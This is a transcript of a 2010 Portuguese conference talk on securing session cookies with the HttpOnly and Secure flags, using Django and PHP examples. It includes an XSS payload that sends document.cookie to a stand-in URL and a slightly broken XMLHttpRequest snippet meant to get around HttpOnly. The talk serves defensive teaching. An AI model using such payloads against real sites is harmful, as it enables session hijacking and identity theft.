desenvolvimento web seguro cookies - rodolfo stangherlin
DESCRIPTION
Desenvolvimento web seguro: Cookies (Rodolfo Stangherlin) Ataques na web usando javascript podem ter como objetivo roubar a “sessão” do usuário, colocando seus dados e sua identidade em risco. Na palestra, pretendo apresentar 2 pontos de segurança para os cookies de sessão de usuário: “httponly” (que elimina o acesso via javascript ao cookie) e “secure” (que torna o cookie disponível apenas via HTTPS). Demonstração de exemplo com código conceitual para explicar como isso influencia no tratamento de cookies pelo navegador. Rodolfo Stangherlin Formado no Curso Técnico em Desenvolvimento de Sistemas (CETEC, 2005), cursando Ciência da Computação na UCS. Atualmente funcionário do Núcleo de Processamento de Dados da UCS, atua como desenvolvedor web, participando - como programador - de projetos como o UCSvirtual e a matrícula online.TRANSCRIPT
Desenvolvimento web seguro: cookies
Tchelinux 2010 - Caxias do Sul
Rodolfo Stangherlin
Sumário
ApresentaçãoHTTP é stateless - e daí?RiscosExplorando com JavascriptHttponly - Risco minimizado Secure - Só HTTPSConclusão
Apresentação
Rodolfo StangherlinTécnico em Desenvolvimento de Sistemas - CETECBacharelando em Ciência da Computação na UCS Trabalha em informática desde 2005
sobreviveu à suporte Linux/FreeBSDdesenvolveu alguma coisa em PHPtrabalha atualmente com Python/Django
atualmente desenvolvedor Python/Django no NPDU (UCS)
HTTP é stateless - e daí?
HTTP (Hypertext Transfer Protocol) é um protocolo da camada de aplicação do modelo OSI.
Dizer que o protocolo é Stateless significa que a conexão não é mantida:
HTTP é stateless - e daí?
Fonte: http://wagnerelias.com
HTTP é stateless - e daí?
Cookies são enviados para identificar quem está enviando a requisição
HTTP é stateless - e daí?
Cookies são enviados para identificar quem está fazendo a requisição
Isso é feito através de HEADERS
HTTP é stateless - e daí?
Resposta criando um cookie: HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:22:07 GMT Server: WSGIServer/0.1 Python/2.5.5 Vary: Cookie Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570; expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600; Path=/
HTTP é stateless - e daí?
Requisição com o cookie já indentificado: GET /capa/ HTTP/1.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570
Riscos
sequestro de sessãofurto de dadosproblemas de autenticação...
Riscos
Explorando com Javascript
<script language="javascript" type="text/javascript"> document.location='/false/?cks=' + document.cookie; </script>
Explorando com Javascript
/false/pode ser qualquer URL, que receberia os cookies que identificam a sessão (como o SESSION_ID ou PHPSESSID)
document.cookiePropriedade que contém todos os cookies da página: "csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a; sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"
pq é necessário acessar o cookie de sessão via
javascript?
não é necessário!
Httponly - Risco amenizado
Adicionando a flag "httponly" na resposta do servidor, o navegador bloqueará acesso ao cookie via javascript:
HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:27:51 GMT Server: WSGIServer/0.1 Python/2.6.5+ Content-Type: text/html; charset=utf-8 Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8; Max-Age=31449600; Path=/ Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f; expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max-Age=1209600; Path=/
Httponly - Risco amenizado
Então, com javascript:
document.cookie
"csrftoken=e0957542e6b3b25785a3d08ded669f8"
Httponly - Risco minimizado
risco eliminado? Não Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser recuperado, mas é muito mais complexo
Httponly - Risco minimizadoburlando o HttpOnlyvar doc;try { doc = new XMLHttpRequest(); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {} doc.open(“HEAD”, document.location, true);doc.send(null);doc.onreadystatechange=function() {if(doc.readyState==4) { if(doc.status==200) { var hidden=”"; var headers=doc.getAllResponseHeaders().split(” “); for(i=0;i<headers.length;i++) { var off1 = headers[i].indexOf(” “)+1; var off2 = headers[i].indexOf(“;”)+1; var cookie=headers[i].substring(off1, off2); hidden=hidden+cookie+” “; } } alert(“httpOnly cookie: “+hidden);}}
Httponly - Risco minimizado
pq não é assim por default? HttpOnly não é padrão Web
não está na RFC 2109 - HTTP State Management Mechanism)
criado pela Microsoft no IE6
hoje compatível com navegadores mais popularesMozilla Firefox (a partir da versão 3.0)Opera (a partir da versão 9.5)Google Chrome (desde a versão beta)Safari (desde versão 4)
Httponly - Risco minimizado
Django (Python)suporte apenas via middleware, fora do código "oficial", pois segue os padrões
Rails (Ruby)
HttpOnly ativado por default PHP
configurável através do php.ini desde a versão 5.2.0session.cookie_httponly = True
setar cookie usando "header()"usar parâmentro "http_only=True" na função setcookie
http://br.php.net/manual/en/function.setcookie.php
Httponly - Risco minimizado
Dia 18/06, o site f-secure.com publicou um ataque de XSS:
Httponly - Risco minimizado
Passando o código javascript pela URL, ele era executado ao acessar a página...
Secure - Só HTTPS
Indica para o navegador enviar o cookie apenas em conexões seguras (HTTPS) HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:46:30 GMT Server: Apache mod_wsgi/3.1 Python/2.6.4 Expires: Thu, 17 Jun 2010 03:46:30 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8; httponly; Path=/; secure
Secure - Só HTTPS
https://ucsvirtual.ucs.br/capa/
GET /capa/ HTTP/1.1 Host: ucsvirtual.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8
Secure - Só HTTPS
http://www.ucs.br/site GET /site HTTP/1.1 Host: www.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
Conclusão
Na maioria das vezes, o acesso ao cookie de sessão nunca é utilizado via javascript.
Talvez por causa disso as pessoas nunca lembrem que isso pode significar uma
vulnerabilidade
Conclusão
Apenas HttpOnly + Secure não é suficiente.
O ideal é nunca permitir javascript seja exibido ;)
Django o faz por defaultPHP pode usar função strip_tags